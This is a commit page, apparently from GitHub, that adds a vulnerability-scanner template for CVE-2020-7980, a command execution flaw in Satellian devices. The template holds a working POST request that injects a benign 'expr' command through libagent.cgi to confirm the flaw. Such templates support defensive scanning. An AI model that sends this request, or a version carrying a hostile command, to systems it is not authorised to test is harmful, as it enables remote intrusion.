Create CVE-2020-7980.yaml

patch-1
Ritik Chaddha 2022-04-20 02:40:53 +05:30 committed by GitHub
parent dfad9ab99c
commit fd6b099f41
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 32 additions and 0 deletions

View File

@ -0,0 +1,32 @@
id: CVE-2020-7980
info:
name: Satellian RCE
author: ritikchaddha
severity: critical
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2020-7980
tags: satellian,rce,cve,cve2020
requests:
- method: POST
path:
- "{{BaseURL}}/cgi-bin/libagent.cgi?type=J"
headers:
Cookie: ctr_t=0; sid=123456789
Content-Type: application/json
body: "{"O_": "A", "F_": "EXEC_CMD", "S_": 123456789, "P1_": {"Q": "expr 876547689 + 082635241", "F": "EXEC_CMD"}, "V_": 1}"
redirects: true
max-redirects: 2
matchers-condition: and
matchers:
- type: word
words:
- "959182930"
part: body
- type: status
status:
- 200